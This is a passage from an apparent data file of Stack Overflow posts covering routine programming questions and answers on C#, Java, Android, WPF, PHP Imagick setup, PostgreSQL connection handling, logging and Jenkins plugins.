<code>"reset"</code> event.</p>
7729256	0	 <p>You might try something like:</p> <pre><code>assemblyTypes.Where(x =&gt; StringList.Contains(x.Name)); </code></pre> <p>Keep in mind this is case sensitive and ignores whitespace, so you will need to add case consideration or trimming if that's an issue.</p> <p><strong>Edit:</strong> (example for loop usage)</p> <pre><code>foreach (Type item in assemblyTypes.Where(x =&gt; StringList.Contains(x.Name))) { // Do stuff } </code></pre>
38213016	0	 <p>You probably want to have something like</p> <pre><code>void Test2(void(*Func)(wchar_t*, wchar_t*),wchar_t* x, wchar_t* y) { (*Func)(x,y); } int main() { Test2(Test,L"Hello", L"Testing"); return 0; } </code></pre> <p>instead.</p> <hr> <p>As for your comment</p> <blockquote> <p>How do i do this in C++ with templates?</p> </blockquote> <p>I could think of</p> <pre><code>template&lt;typename Param&gt; void Test2(void(*Func)(Param, Param), Param x, Param y) { (*Func)(x,y); } void Test(wchar_t* a, wchar_t* b); int main() { Test2(Test,L"Hello", L"Testing"); return 0; } </code></pre> <p>This should just work fine.</p>
23093565	0	 <p>A set by definition doesn't contain any duplicates. A set determines if two items are alike, by using either the objects equals()/compareTo(..) method or by using a Comparator. If you only want unique items in your set, implementing the Comparable interface and overriding equals() is what you want to do. BUT in your case, you're only interested in objects in unique groups, so it's then better to create a custom Comparator for the occasion, which you then supply to the Set, telling it to use it, instead of "natural ordering". </p> <pre><code>Set&lt;MyThing&gt; myThings = new TreeSet&lt;&gt;(new Comparator&lt;MyThing&gt;() { @Override public int compare(MyThing o1, MyThing o2) { return o1.getGroupId() - o2.getGroupId(); } }); myThings.addAll(Arrays.asList(myArray)); </code></pre> <p>After creating the set, you add your entire array into it, using the convinience method addAll(..).</p> <p>(How the comparator sorts your objects is completely up to you to decide.)</p>
36107296	0	 <p>Assuming none of your file names contain any additional dots other than <code>.ogg.M4A</code>, then all you need is a single <code>REN</code> command.</p> <pre><code>ren *.ogg.M4A ??????????????????????????????.m4a </code></pre> <p>Be sure to use enough <code>?</code> to match the longest name in your file set.</p> <p>See <a href="http://superuser.com/q/475874/109090">How does the Windows RENAME (REN) command interpret wildcards?</a> for a full explanation of how REN handles wildcards.</p>
15676990	0	Difference of connection pool, jdbc and jndi <p>I need to know my understanding on above are correct,</p> <p>In connection pool you set multiple connection with the use of java.sql.Datasource.</p> <p>In jdbc we directly specify the connection url and oracle.jdbc.driver.OracleDriver and its always one connection where another request has to wait until the connection finish processing. </p> <p>And with JNDI its similar to direct jdbc where we refer the jdbc setting via a name, so that we can specify the connection url and other setting in the application server and not bound to the application right?</p>
1924487	0	 <p>C# doesn't support covariant return types. When implementing an interface, you have to return the type specified by the interface. If you want to, you can explicitly implement the interface and have another method with the same name that returns the subtype. For example:</p> <pre><code>class MyImplementation : MyInterface { MyBaseClass MyInterface.someFunction() { return null; } public MySubClass someFunction() { return null; } } </code></pre>
21937676	0	 <p>Use this <code>\[([^\[\]]*)\](.*)</code></p> <pre><code>$input_lines="[Hello World](http://google.com)"; preg_replace("/\[([^\[\]]*)\](.*)/", "$1", $input_lines); </code></pre>
5856918	0	Performance with WPF Combo Box inside a ListView <p>I was wondering if I was missing something obvious.</p> <p>I have a simple window with a ListView with 3 columns in it. One displays text and the other two have combo boxes in them.</p> <p>The ListView has approx. 500 records and the Comboboxes both pull from the same contact list which has approx. 8,000 records in it.</p> <p>I am using MVVM.</p> <p>This window takes for ever to open and once it does open it is practically frozen solid (it moves so slow)</p> <p>the queries to the database take under ten seconds (I log when the VM is fully loaded) then it takes two or three minutes to open the window. I made sure to store both lists in <code>List&lt;T&gt;</code> in my VM to make sure its not reprocessing the data or anything like that.</p> <p>As you can see below. I've tried explicitly using Virtualizing Stack Panel but that did not help much.</p> <p>Thank you for any help</p> <pre><code> &lt;DataTemplate x:Key="ComboboxItemTemplate"&gt; &lt;Grid&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition Width="Auto" /&gt; &lt;ColumnDefinition Width="*" /&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="Auto" /&gt; &lt;RowDefinition Height="Auto" /&gt; &lt;RowDefinition Height="Auto" /&gt; &lt;/Grid.RowDefinitions&gt; &lt;Image Grid.RowSpan="3" Source="{Binding ImageURL, IsAsync=True}" Width="50" /&gt; &lt;TextBlock Grid.Column="1" Text="{Binding Name}" /&gt; &lt;TextBlock Grid.Column="1" Grid.Row="1" Text="{Binding Email}" /&gt; &lt;TextBlock Grid.Column="1" Grid.Row="2" Text="{Binding CampusName}" /&gt; &lt;/Grid&gt; &lt;/DataTemplate&gt; &lt;ListView ItemsSource="{Binding MainList}" IsSynchronizedWithCurrentItem="True" Grid.RowSpan="2"&gt; &lt;ListView.ItemsPanel&gt; &lt;ItemsPanelTemplate&gt; &lt;VirtualizingStackPanel /&gt; &lt;/ItemsPanelTemplate&gt; &lt;/ListView.ItemsPanel&gt; &lt;ListView.View&gt; &lt;GridView&gt; &lt;GridViewColumn Width="200" Header="Internal"&gt; &lt;GridViewColumn.CellTemplate&gt; &lt;DataTemplate&gt; &lt;StackPanel&gt; &lt;TextBlock Text="{Binding Name}" FontWeight="Bold" /&gt; &lt;TextBlock Text="{Binding MName}" /&gt; &lt;TextBlock Text="{Binding CampusName}" /&gt; &lt;/StackPanel&gt; &lt;/DataTemplate&gt; &lt;/GridViewColumn.CellTemplate&gt; &lt;/GridViewColumn&gt; &lt;GridViewColumn Width="200" Header="Contact1"&gt; &lt;GridViewColumn.CellTemplate&gt; &lt;DataTemplate&gt; &lt;ComboBox ItemsSource="{Binding Source={StaticResource VM}, Path=ContactList, IsAsync=True}" SelectedValue="{Binding HisContactID}" SelectedValuePath="id" ItemTemplate="{StaticResource ComboboxItemTemplate}" Background="{Binding HisColor}" Margin="0,82,0,115" Grid.Row="1" Grid.Column="1"&gt; &lt;ComboBox.ItemsPanel&gt; &lt;ItemsPanelTemplate&gt; &lt;VirtualizingStackPanel /&gt; &lt;/ItemsPanelTemplate&gt; &lt;/ComboBox.ItemsPanel&gt; &lt;/ComboBox&gt; &lt;/DataTemplate&gt; &lt;/GridViewColumn.CellTemplate&gt; &lt;/GridViewColumn&gt; &lt;GridViewColumn Width="200" Header="Contact2"&gt; ... &lt;/GridViewColumn&gt; &lt;/GridView&gt; &lt;/ListView.View&gt; &lt;/ListView&gt; </code></pre>
18533221	0	DelegateEvents: Child itemViews's not removed on deletion of model from collection <p>I've a collectionview ItineraryEditorView that is swapped in and out of a layout region. The same instance of collectionView is swapped in using region.show instead of creating new instance for collectioView everytime. The render method on the collection calls delegateEvents() method.</p> <pre><code> ItineraryEditorView = Marionette.CollectionView.extend({ tagName: "div", emptyView: EmptyItineraryDayView, itemView: ItineraryDayView, initialize: function (options) { }, render: function() { Marionette.CollectionView.prototype.render.apply(this); this.delegateEvents(); }, }); </code></pre> <p>The view is swapped out by closing region:</p> <pre><code>plannerLayout.itineraryEditorRegion.close(); </code></pre> <p>Swapping in the view:</p> <pre><code>itineraryEditorView.delegateEvents(); plannerLayout.itineraryEditorRegion.show(itineraryEditorView); </code></pre> <p>Deletion of a model is done by listening to the bubbled up event from itemView to collectionView (works, no issues here)</p> <pre><code>itineraryEditorView.on("itemview:delete:day", function(childView, model) { days.remove(model); //days coll is passed in to coll view on instance creation holiday.save(); }); </code></pre> <p>I'd expect that this would be enough to ensure the the child itemViews in the collection view are removed/closed when a model is removed from the underlying days collection. I can see that the collection is actually modified and and saved on the server,however the collection view is not altered. This scenario ofcourse works when before the collection view is swapped out first time. The coll. view does update itself after I re-visit another tab and come back to this tab (thus the entire collection is rendered- confirming the change/deletion)</p> <p>What is the best way get around this issue? If I recreate the instance of collection view, it does cause to loose other "on" handles in the code.</p>
23807810	0	 <p>you can just do</p> <pre><code>std::ratio&lt;a,b&gt;::num </code></pre> <p>if you don't want to use typedef</p>
9069461	0	 <p>In MATLAB, you can run</p> <pre><code>format debug </code></pre> <p>in the MATLAB Command Window to force it to display the variable as its memory location, rather than as its value. (This is an undocumented (AFAIK), but publicly known, option for the FORMAT function.)</p> <p>See HELP FORMAT to determine what your current display format is, and more importantly, how to restore it, once you're done looking at the memory locations.</p>
31230674	0	Using AsyncTask with timer in fragment <p>I'm using Asynctask to load data via Volley. I want to do that AsyncTask invoked after n minutes, maybe this is duplicate and a silly question, but i cant figure how to implement it. Maybe I need to implement AsyncTask in my fragment ?</p> <p>This is my AsyncTask.class</p> <pre><code>package com.aa.qc.task; import android.os.AsyncTask; import com.aa.qc.callbacks.ZleceniaLoadedListner; import com.aa.qc.extras.ZleceniaSorter; import com.aa.qc.extras.ZleceniaUtils; import com.aa.qc.network.VolleySingleton; import com.aa.qc.pojo.Zlecenia; import com.android.volley.RequestQueue; import java.util.ArrayList; public class TaskLoadZlecenia extends AsyncTask&lt;Void, Void, ArrayList&lt;Zlecenia&gt;&gt;{ private ZleceniaLoadedListner myComponent; private VolleySingleton volleySingleton; private RequestQueue requestQueue; private ZleceniaSorter mSorter = new ZleceniaSorter(); public TaskLoadZlecenia(ZleceniaLoadedListner myComponent) { this.myComponent = myComponent; volleySingleton = VolleySingleton.getsInstance(); requestQueue = volleySingleton.getmRequestQueue(); } @Override protected ArrayList&lt;Zlecenia&gt; doInBackground(Void... params) { ArrayList&lt;Zlecenia&gt; listZlecenias = ZleceniaUtils.loadZlecenia(requestQueue); mSorter.sortZleceniaByTime(listZlecenias); return listZlecenias; } @Override protected void onPostExecute(ArrayList&lt;Zlecenia&gt; listZlecenias) { if (myComponent != null) { myComponent.onZleceniaLoaded(listZlecenias); } } } </code></pre> <p>This is listner.class</p> <pre><code>package com.aa.qc.callbacks; import com.aa.qc.pojo.Zlecenia; import java.util.ArrayList; public interface ZleceniaLoadedListner { public void onZleceniaLoaded(ArrayList&lt;Zlecenia&gt; listZlecenias); } </code></pre> <p>This is my fragment where i want to repeat asynctask (I have activity with two tabs, each tabs is a fragment)</p> <pre><code>public class FragmentZlecenia extends Fragment implements SortListener, ZleceniaLoadedListner, SwipeRefreshLayout.OnRefreshListener { // TODO: Rename parameter arguments, choose names that match // the fragment initialization parameters, e.g. ARG_ITEM_NUMBER private static final String ARG_PARAM1 = "param1"; private static final String ARG_PARAM2 = "param2"; private ArrayList&lt;Zlecenia&gt; listZlecenias = new ArrayList&lt;&gt;(); private RecyclerView zleceniaArrived; private AdapterZlecenia adapterZlecenia; private SwipeRefreshLayout mSwipeRefreshLayout; private ZleceniaSorter mSorter = new ZleceniaSorter(); // TODO: Rename and change types of parameters private String mParam1; private String mParam2; /** * Use this factory method to create a new instance of * this fragment using the provided parameters. * * @param param1 Parameter 1. * @param param2 Parameter 2. * @return A new instance of fragment FragmentZlecenia. */ // TODO: Rename and change types and number of parameters public static FragmentZlecenia newInstance(String param1, String param2) { FragmentZlecenia fragment = new FragmentZlecenia(); Bundle args = new Bundle(); args.putString(ARG_PARAM1, param1); args.putString(ARG_PARAM2, param2); fragment.setArguments(args); return fragment; } @Override public void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); } public FragmentZlecenia() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (getArguments() != null) { mParam1 = getArguments().getString(ARG_PARAM1); mParam2 = getArguments().getString(ARG_PARAM2); } } public void onSortByTime() { L.t(getActivity(), "Sort by time"); mSorter.sortZleceniaByTime(listZlecenias); adapterZlecenia.notifyDataSetChanged(); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment View layout = inflater.inflate(R.layout.fragment_zlecenia, container, false); mSwipeRefreshLayout = (SwipeRefreshLayout) layout.findViewById(R.id.swipeZlecenia); mSwipeRefreshLayout.setOnRefreshListener(this); zleceniaArrived = (RecyclerView) layout.findViewById(R.id.listZlecenia); zleceniaArrived.setLayoutManager(new LinearLayoutManager(getActivity())); adapterZlecenia = new AdapterZlecenia(getActivity()); zleceniaArrived.setAdapter(adapterZlecenia); if (savedInstanceState != null) { //if this fragment starts after a rotation or configuration change, load the existing zlecenias from DB listZlecenias = MyApplication.getWritableDatabase().getAllZlecenia(); } else { //if this fragment starts for the first time, load the list of zlecenias from a database MyApplication.getWritableDatabase().deleteAll(); //if the database is empty, trigger an AsycnTask to download zlecenias list from the web if (listZlecenias.isEmpty()) { new TaskLoadZlecenia(this).execute(); } } //update your Adapter to containg the retrieved zlecenias adapterZlecenia.setListZlecenia(listZlecenias); return layout; } @Override public void onZleceniaLoaded(ArrayList&lt;Zlecenia&gt; listZlecenias) { L.m("onZleceniaLoaded Fragment"); new TaskLoadZlecenia(this).execute(); adapterZlecenia.setListZlecenia(listZlecenias); } @Override public void onRefresh() { L.t(getActivity(), "onRefresh"); new TaskLoadZlecenia(this).execute(); } } </code></pre>
40505891	0	 <p>Dart2JS was indeed the culprit. Turning minification off and looking at the output Javascript reveals:</p> <pre><code>t2 = J.getInterceptor(selection); t1 = t2.toString$0(selection); </code></pre> <p>Manually replacing it after compiling with:</p> <pre><code>t1 = selection.toString(); </code></pre> <p>fixes the issue.</p> <p>I've reported the bug: <a href="https://github.com/dart-lang/sdk/issues/27789" rel="nofollow noreferrer">https://github.com/dart-lang/sdk/issues/27789</a></p>
1552943	0	 <p>What specific problem are you encountering? Do you wish to get rid of the login page, and "automatically" use the user's AD credentials passed by IE? </p>
36316370	0	 <p>Detailed guide for newbies like me. Took a long time to get it to work.</p> <p>I initially followed: <a href="http://php.net/manual/en/imagick.installation.php" rel="nofollow">http://php.net/manual/en/imagick.installation.php</a></p> <p>but after installation, PHPInfo under imagick shows number of supported formats = 0 </p> <p>So I followed these steps, clobbered from various sources to get it to work.</p> <ol> <li><p>Click PHPInfo and check:</p> <p>Architecture = x86 or x64</p> <p>Thread Safety = yes or no</p></li> <li><p>Download ImageMagick from:</p> <p><a href="http://windows.php.net/downloads/pecl/deps/" rel="nofollow">http://windows.php.net/downloads/pecl/deps/</a></p> <p>In my case I downloaded: ImageMagick-6.9.3-7-vc11-x86.zip</p> <p>because the Architecture under PHPInfo is x86</p> <p>as for vc11 or vc14</p> <p>search google for "visual c++ 11 runtime" or "visual c++ 14 runtime" and install it</p></li> <li><p>Unzip and copy all dlls from the bin subfolder to the Apache bin directory. It's a bunch of CORE_RL_<em>.dll and IM_MOD_RL_</em>.dll plus a few other dlls.</p> <p>In my case, I installed UwAmp in C:\UwAmp, so:</p> <p>(from zip) bin/*.dll --> C:\UwAmp\bin\apache\bin</p></li> <li><p>Goto:</p> <p><a href="http://pecl.php.net/package/imagick" rel="nofollow">http://pecl.php.net/package/imagick</a></p> <p>as of today, latest is 3.4.1 so I went to: <a href="http://pecl.php.net/package/imagick/3.4.1/windows" rel="nofollow">http://pecl.php.net/package/imagick/3.4.1/windows</a></p> <p>My PHP version is: 5.6.18, and Thread Safety is Yes from Step #1, so I downloaded:</p> <p>5.6 Thread Safe (TS) x86</p> <p>and got: php_imagick-3.4.1-5.6-ts-vc11-x86.zip</p></li> <li><p>Unzip and copy "php_imagick.dll" to the php extension folder:</p> <p>In my case: php_imagick.dll --> C:\UwAmp\bin\php\php-5.6.18\ext</p> <p>Note: this ZIP also contains dlls which other guides says to extract to the extension folder of apache. NO NEED TO DO IT. Step #3 has taken care of it.</p></li> <li><p>Edit "php.ini" and add:</p> <p>extension=php_imagick.dll</p> <p>or (I placed it at the very end):</p> <p>[Imagick]</p> <p>extension=php_imagick.dll</p> <p>For super newbies: click the edit button in the UwAmp UI, "php_uwamp.ini" will open and edit it. It will be copied to the correct php.ini when UwAmp is restarted. I had trouble at first since there are several php*.ini scattered all over.</p></li> <li><p>Restart Apache</p></li> <li><p>Check PHPInfo scroll to section (or find): imagick<br> number of supported formats: 234 (on mine)</p> <p>If there is no "imagick" section or "supported format" is 0, something went wrong.</p></li> </ol> <p>Hope this helps.</p> <p>BTW, the comment to the question by "Gras Double" works, just wish I had found it earlier.</p>
6543730	0	 <p>Create a table with an autoicrement id and the columns of the original table.</p> <p>Then</p> <pre><code>INSERT INTO new_table (column1, column2,.....) -- refer all columns except autoincrement id SELECT * FROM old_table </code></pre> <p>Update the old table by joining with the new, assuming the is a key composite or not that distincts each row</p>
29935815	0	 <pre><code>new Date("2015/04/29 11:24:00").getTime(); //for answer in milliseconds (new Date("2015/04/29 11:24:00").getTime()/1000); //to get answer in seconds </code></pre> <p>:)</p>
25642960	0	 <p>You can make use of <code>dir.create</code> in conjunction with <code>paste</code> and <code>Sys.Date</code>, like this:</p> <pre><code>dir.create(paste("Test", Sys.Date(), sep = "_")) </code></pre> <p>If you want to change into that directory, I would suggest storing the output of <code>paste</code> as a character vector and using <code>setwd</code> after creating the new directory.</p> <p>Demo:</p> <pre><code>x &lt;- getwd() ## I'm going to demo in a tempdir setwd(tempdir()) list.dirs() # [1] "." # [2] "./downloaded_packages" # [3] "./rs-graphics-16e13b20-59b3-4ef3-bdcd-02852b1ea576" newdir &lt;- paste("Test", Sys.Date(), sep = "_") dir.create(newdir) setwd(newdir) list.dirs() # [1] "." # [2] "./downloaded_packages" # [3] "./rs-graphics-16e13b20-59b3-4ef3-bdcd-02852b1ea576" # [4] "./Test_2014-09-03" setwd(x) ## Reset to original working directory </code></pre> <hr> <p>You could always create a function like the following, but be careful of recursion!</p> <pre><code>Today &lt;- function(prefix = "Test") { newdir &lt;- paste(prefix, Sys.Date(), sep = "_") dir.create(newdir) setwd(newdir) } </code></pre> <p>This could be called simply with <code>Today()</code> and would create the necessary directory in whatever directory you're currently in and set your working directory to that new directory.</p>
2512629	0	 <p>Are you sure your database is not set up to try to do cascading deletes?</p> <p>One other thing to check, crack open the .edmx file in the xml editor and see if you have a line like this that relates to the entity in question:</p> <pre><code>&lt;OnDelete Action="Cascade"&gt;&lt;/OnDelete&gt; </code></pre>
38074742	1	Built-in functions vs recursive functions <p>I am not a mathematician, nor a computer scientist - just a hobbyist programmer and I am trying to teach myself Python by doing the Euler Project problems. One of them requires the use of a factorial. I wrote my own calculation using a recursive function and then realised that there was probably a built-in function which I could use. Having found it I thought I would see how much quicker it was than my recursive function. To my surprise I find that it is actually slower.</p> <p>Does this surprise anyone? I am just curious.</p> <p>I enclose my code (and for good measure I have also included a loop method for an extra comparison).</p> <pre><code>import math import time x = 50 def factorial(n): if n == 0: return 1 else: return n * factorial(n-1) secs = time.clock() print(math.factorial(x)) print ("The built-in function took {a:0.5f} seconds.".format(a = time.clock() - secs)) secs = time.clock() print (factorial(x)) print ("The recursive function took {a:0.5f} seconds.".format(a = time.clock() - secs)) secs = time.clock() factl = 1 for i in range (1,x+1): factl *= i print (factl) print ("The loop method took {a:0.5f} seconds.".format(a = time.clock() - secs)) </code></pre> <p>Output:</p> <p>30414093201713378043612608166064768844377641568960512000000000000</p> <p>The built-in function took 0.00549 seconds.</p> <p>30414093201713378043612608166064768844377641568960512000000000000</p> <p>The recursive function took 0.00299 seconds.</p> <p>30414093201713378043612608166064768844377641568960512000000000000</p> <p>The loop method took 0.00259 seconds.</p>
5109190	0	 <p>You can use <a href="http://www.postgresql.org/docs/current/static/functions-admin.html">pg_terminate_backend()</a> to kill a connection. You have to be superuser to use this function. This works on all operating systems the same. </p> <pre><code>SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE -- don't kill my own connection! pid &lt;&gt; pg_backend_pid() -- don't kill the connections to other databases AND datname = 'database_name' ; </code></pre> <p>Before executing this query, you have to <a href="http://www.postgresql.org/docs/current/interactive/sql-revoke.html">REVOKE</a> the CONNECT privileges to avoid new connections:</p> <pre><code>REVOKE CONNECT ON DATABASE dbname FROM PUBLIC, username; </code></pre> <blockquote> <p>If you're using Postgres 8.4-9.1 use procpid instead of pid</p> </blockquote> <pre><code>SELECT pg_terminate_backend(procpid) FROM pg_stat_activity WHERE -- don't kill my own connection! procpid &lt;&gt; pg_backend_pid() -- don't kill the connections to other databases AND datname = 'database_name' ; </code></pre>
3877198	0	how to dice up the array <p>I have an array like this (below is the var_dump)</p> <pre><code>array 0 =&gt; object(stdClass)[11] public 'VN' =&gt; string '571.5' (length=5) public 'color' =&gt; string 'GREEN' (length=5) public 'name' =&gt; string 'CIRRHOSIS' (length=9) public 'icd9ID' =&gt; string '5765' (length=4) public 'ID' =&gt; string '46741' (length=5) 1 =&gt; object(stdClass)[12] public 'VN' =&gt; string '571.5' (length=5) public 'color' =&gt; string 'GREEN' (length=5) public 'name' =&gt; string 'CIRRHOSIS' (length=9) public 'icd9ID' =&gt; string '5765' (length=4) public 'sortOrder' =&gt; string '1' (length=1) public 'ID' =&gt; string '46742' (length=5) 2 =&gt; object(stdClass)[15] public 'VN' =&gt; string 'V58.69' (length=6) public 'color' =&gt; string 'ORANGE' (length=6) public 'name' =&gt; string 'Long-term (current) use of other medications' (length=44) public 'icd9ID' =&gt; string '15116' (length=5) public 'ID' =&gt; string '46741' (length=5) 3 =&gt; object(stdClass)[14] public 'VN' =&gt; string '070.32' (length=6) public 'color' =&gt; string 'GREEN' (length=5) public 'name' =&gt; string 'HEPATITIS B CHRONIC' (length=19) public 'icd9ID' =&gt; string '14463' (length=5) public 'ID' =&gt; string '46742' (length=5) 4 =&gt; object(stdClass)[13] public 'VN' =&gt; string '070.32' (length=6) public 'color' =&gt; string 'GREEN' (length=5) public 'name' =&gt; string 'HEPATITIS B CHRONIC' (length=19) public 'icd9ID' =&gt; string '14463' (length=5) public 'ID' =&gt; string '46741' (length=5) </code></pre> <p>I want to two HTML tables. One that will carry all the same ID and second one will carry the other ID</p> <p>How can I do that Thanks!</p>
21977347	0	 <p>You need to ask your fellow developers or repository administrator what your repository location is. You should already have the project checked out, in which case you are already using a working copy that is linked to it and you don't need to do any more to point at the right location.</p> <p>As for how to add an item, that will depend on what client you're using. In Subclipse, it's Team -> Add. In TortoiseSVN, it's TortoiseSVN -> Add. On the command line, it's <code>svn add &lt;filename&gt;</code></p> <p>It sounds like you have no experience with Subversion. You would do well to <a href="http://svnbook.org/" rel="nofollow">read the fine manual</a> before you get yourself into trouble.</p>
29751859	0	Laravel 5 hasMany relationship on two columns <p>Is it possible to have a hasMany relationship on two columns?</p> <p>My table has two columns, <code>user_id</code> and <code>related_user_id</code>.</p> <p>I want my relation to match either of the columns.</p> <p>In my model I have </p> <pre><code>public function userRelations() { return $this-&gt;hasMany('App\UserRelation'); } </code></pre> <p>Which runs the query: <code>select * from user_relations where user_relations.user_id in ('17', '18')</code>.</p> <p>The query I need to run is: </p> <pre><code>select * from user_relations where user_relations.user_id = 17 OR user_relations.related_user_id = 17 </code></pre> <p><strong>EDIT:</strong></p> <p>I'm using eager loading and I think this will affect how it will have to work.</p> <pre><code>$cause = Cause::with('donations.user.userRelations')-&gt;where('active', '=', 1)-&gt;first(); </code></pre>
23832876	0	Adding an entity to the context <p>Why is this simple add not working! I get a previous record from the database, instantiate a new entity to add by using the previous record's data, except I increment the report number by 1. I keep getting the error "The property 'ReportNbr' is part of the primary key and cannot be modified." I thought this error was when you tried to update an existing entities' primary key field.</p> <p>Here's my object and previous record that I use.</p> <pre><code>var previousRecord = _repo.GetLatestRecord(); var recordToAdd = new Record() { Year = previousRecord.Year, Month = previousRecord.Month, ReportNbr = ++previousRecord.ReportNbr, ...//other info }; _repo.AddRecord(recordToAdd); </code></pre> <p>The three fields show are the primary key to the table. Any help would be greatly appreciated.</p>
30529537	0	 <p>I ran into a similar problem once. What you can try is like </p> <pre><code>var cssLink = document.createElement("link") cssLink.href = "style.css"; cssLink .rel = "stylesheet"; cssLink .type = "text/css"; window.frames[0].document.body.appendChild(cssLink); </code></pre> <p>Try this out it may help you though i'm not sure but it worked for me. Where the style.css is the css file where you specify your styling for the frame</p>
32298993	0	 <p>You have to use <code>providers</code> instead of <code>injectables</code></p> <pre class="lang-ts prettyprint-override"><code>@Component({ selector: 'my-app', providers: [NameService] }) </code></pre> <p><a href="https://github.com/Mellbourn/angular2-step-by-step-guide">Complete code sample here</a>.</p>
27567050	0	 <p>Do you play your music in Service? Anyway, you should stop the playing manually in onStop method.</p>
35105947	0	Answer Set Programming: Group into two sets so that those who like each other are in same set, and dislike = different set <p>I'm basically a beginner to Answer Set Programming (CLINGO), so I've been attempting this problem for hours now. </p> <p>person(a;b;c;d;e;f).</p> <p>likes(b,e; d,f).</p> <p>dislikes(a,b; c,e).</p> <p>People who like each other must be in the same set, and cannot be in the same set as someone they dislike. So the output should be: b,e | a, c, d,f</p> <p>I know the logic behind it; partition it so that if an element is in both likes &amp; dislikes, then it should be in its own set, and everything else in the other. But this is declarative programming, so I'm not sure how to tackle this. Any help would be appreciated.</p>
15523386	0	 <p>Note:</p> <ol> <li>Use getElementsByTagName</li> <li>There is no documentList tag in your xml</li> <li><p>Tag document is the only array in your xml not document_list</p> <pre><code>function viewXMLFiles() { console.log("viewXMLFiles() is running"); xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET","TestInfo.xml",false); xmlhttp.send(); xmlDoc = xmlhttp.responseXML; console.log("still running"); var getData = xmlDoc.getElementsByTagName("document"); console.log("getting tired"); document.getElementById("documentList").innerHTML = getData[0].getElementsByTagName("document_name")[0].childNodes[0].nodeValue; document.getElementById("documentList1").innerHTML = getData[1].getElementsByTagName("document_name")[0].childNodes[0].nodeValue; console.log("done"); } </code></pre></li> </ol> <p>Add one more span with id documentList1 to execute the above code</p>
11707681	0	 <p>Well this was an interesting problem and kept me guessing for a while... </p> <p>I wasn't able to derive the logic first but then I switched back to basics and derived the <code>boolean expression</code> for calculation the sum &amp; carry for a 3 bit operation and here is the solution:</p> <pre><code>public static BitSet addBitSet(int n, List&lt;BitSet&gt; bitSetList){ BitSet sumBitSet = new BitSet(n); for (BitSet firstBitSet : bitSetList) { BitSet secondBitSet = (BitSet) sumBitSet.clone(); System.out.println("A: " + printBitSet(firstBitSet, 6)); System.out.println("B: " + printBitSet(secondBitSet, 6)); boolean carryForNext = false, sum,a,b,c; for (int i = n - 1; i &gt;= 0; i--) { a=firstBitSet.get(i); b=secondBitSet.get(i); c=carryForNext; sum = a&amp;!b&amp;!c|!a&amp;!b&amp;c|!a&amp;b&amp;!c|a&amp;b&amp;c; carryForNext = a&amp;b&amp;!c|a&amp;!b&amp;c|!a&amp;b&amp;c|a&amp;b&amp;c; sumBitSet.set(i,sum); } System.out.println("SUM:" + printBitSet(sumBitSet, 6)); } System.out.println(printBitSet(sumBitSet, 6)); return sumBitSet; } </code></pre> <p>and here is the code for <code>printBitSet</code>:</p> <pre><code>public static String printBitSet(BitSet bitSet, int size) { StringBuilder builder = new StringBuilder(""); for (int i = 0; i &lt; size; i++) { if (bitSet.get(i)) builder.append("1"); else builder.append("0"); } return builder.toString(); } </code></pre>
3967202	0	Storing log into .log file using SLF4j/log4j <p>I am using SLF4J and as per requirement i have to store the logs into the .log file. But when i run the program the log are not written into thelog file. </p> <p>Class :</p> <pre><code>import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class TestSLF4J { // private static Logger _logger = LoggerFactory.getLogger(TestSLF4J.class); private static Logger _logger = LoggerFactory.getLogger(TestSLF4J.class); public static void main(String[] args) { logger .debug("Sample debug message"); logger .info("Sample info message"); logger .warn("Sample warn message"); logger .error("Sample error message"); } } </code></pre> <p>log4j.properties</p> <pre><code>log4j.appender.file=org.apache.log4j.RollingFileAppender log4j.appender.file.maxFileSize=100KB log4j.appender.file.maxBackupIndex=5 log4j.appender.file.File=C:/checkLog.log log4j.appender.file.threshold=DEBUG log4j.appender.file.layout=org.apache.log4j.PatternLayout log4j.appender.file.layout.ConversionPattern=%d{ABSOLUTE} %5p %c{1}:%L - %m%n log4j.rootLogger=DEBUG,file </code></pre> <p>i can see info,warn,error on console but not debug value..!!</p> <p>Can anyone help me store log into the checkLog.log file.??</p>
35455526	0	Disable button when there are validation errors in listbox datatemplate <p>I have listbox with list of textboxes created using data template, And I want to disable save button when there are validation errors in listbox datatemplate(list of textboxes). I have used IDataErrorInfo for validation.</p> <pre><code>&lt;Style x:Key="ButtonStyle" TargetType="{x:Type Button}"&gt; &lt;Style.Triggers&gt; &lt;DataTrigger Binding="{Binding ElementName=errorList, Path=(Validation.HasError)}" Value="True"&gt; &lt;Setter Property="IsEnabled" Value="False"/&gt; &lt;/DataTrigger&gt; &lt;/Style.Triggers&gt; </code></pre> <p></p>
24335677	0	 <p>Can you supply a dropbox link to one of the images so I can see what you mean? Do you mean you have one scan of 4 images all on the same layer, and you need to crop 4x and resave individual images? Or is each image on its own layer?</p> <p>Are the 100 images all exactly the same layout? If so, you may be able to create an action that would cut down on your time.</p> <p>If the images are on separate layers, you can use File > Scripts > Export Layers to files...</p>
36279537	0	 <p>There's a Jenkins plugin precisely for this matter: <a href="https://wiki.jenkins-ci.org/display/JENKINS/Plugin+Usage+Plugin+%28Community%29" rel="nofollow noreferrer">Plugin Usage</a></p> <p>Thanks to this wonderful plugin I found many redundant plugins to remove in the Plugin Manager (you will be able to remove plugins that has no dependencies).</p> <p>Here's how it looks - the plugin interface has a link on Jenkins sidebar. It lists all the plugins which any of an existing job uses (pressing on the expend button to see jobs names):</p> <p><a href="https://i.stack.imgur.com/y42oh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/y42oh.png" alt="enter image description here"></a></p>
